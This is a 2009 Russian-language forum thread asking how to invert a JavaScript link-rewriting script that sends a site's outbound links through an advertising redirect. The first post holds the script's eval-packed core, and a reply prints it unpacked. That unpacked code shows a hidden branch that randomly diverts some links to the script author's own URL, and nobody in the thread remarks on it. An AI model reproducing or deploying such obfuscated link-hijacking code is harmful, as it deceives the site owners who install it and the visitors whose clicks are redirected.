Переделать код

Тема в разделе "Регулярные выражения", создана пользователем 4erepaha13, 16 окт 2009.

Статус темы:
Закрыта.
Модераторы: xpert13
  1. 4erepaha13

    4erepaha13

    Регистр.:
    20 июн 2009
    Сообщения:
    155
    Симпатии:
    17
    нашел скрипт, который сверяет урл по маске и при совпадении подменяет его на редирект. Как модифицировать регулярку, чтобы он делал обратное - работал с белым списком и перебрасывал на редирект все, кроме указаного в перечне?
    Код:
    // разрешить замену ссылок 
    var enable_relink = 1; 
    // перечень доменов заменяемых ссылок 
    var link_src = [ 
      "перенаправляемыйдомен.ру", 
      "перенаправляемыйдомен2.ру", 
       ...... 
    ]; 
    // редирект-страница с рекламой 
    var dest = "адреслендинга.ру"; 
    // эту часть лучше не трогать 
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 a(s){4 3=o;5(i q 9)2(s.k(9[i])>=0){3=n;m}8 3}7 b(){2(!p)8;2(6.d(6.e()*h)==g)c="f://B-z.y/E/C.D?u=";4 1="";4 l=t.r("A");5(j=0;j<l.x;j++){1=l[j].w("1");2(a(1)){l[j].v("1",c+1)}}}b();',41,41,'|href|if|res|var|for|Math|function|return|link_src|isMatch|kapkan|dest|round|random|http|14|100|||indexOf||break|true|false|enable_relink|in|getElementsByTagName||document|go|setAttribute|getAttribute|length|com|ebooks||pc|index|php|getlink'.split('|'),0,{}))
     
  2. Liver

    Liver

    Регистр.:
    24 сен 2008
    Сообщения:
    316
    Симпатии:
    91
    Как раз нужно трогать ту часть, которую "// эту часть лучше не трогать". Надо распаковать его и изменить труе на фалсе. и выйдет вот так (распакованное), запакуешь сам.
    Код:
    function isMatch(s) {
    	var res = true; //тут заменил
    	for (i in link_src)
    		if (s.indexOf(link_src[i]) >= 0) {
    			res = false; //и тут заменил
    			break
    		}
    	return res
    }
    function kapkan() {
    	if (!enable_relink)
    		return;
    	if (Math.round(Math.random() * 100) == 14)
    		dest = "http://pc-ebooks.com/getlink/index.php?go=";
    	var href = "";
    	var l = document.getElementsByTagName("A");
    	for (j = 0; j < l.length; j++) {
    		href = l[j].getAttribute("href");
    		if (isMatch(href)) {
    			l[j].setAttribute("href", dest + href)
    		}
    	}
    }
    kapkan();
    
     
  3. kartaevandrei

    kartaevandrei Писатель

    Регистр.:
    15 дек 2009
    Сообщения:
    4
    Симпатии:
    1
    Как раз нужно трогать ту часть, которую "// эту часть лучше не трогать".

    и почему же это?
     
  4. fangete

    fangete Постоялец

    Регистр.:
    2 ноя 2007
    Сообщения:
    144
    Симпатии:
    124
    да потому что, как раз эта функция у тебя и делает редирект, а предыдущие строки просто "дают материал" для этой функции
     
Статус темы:
Закрыта.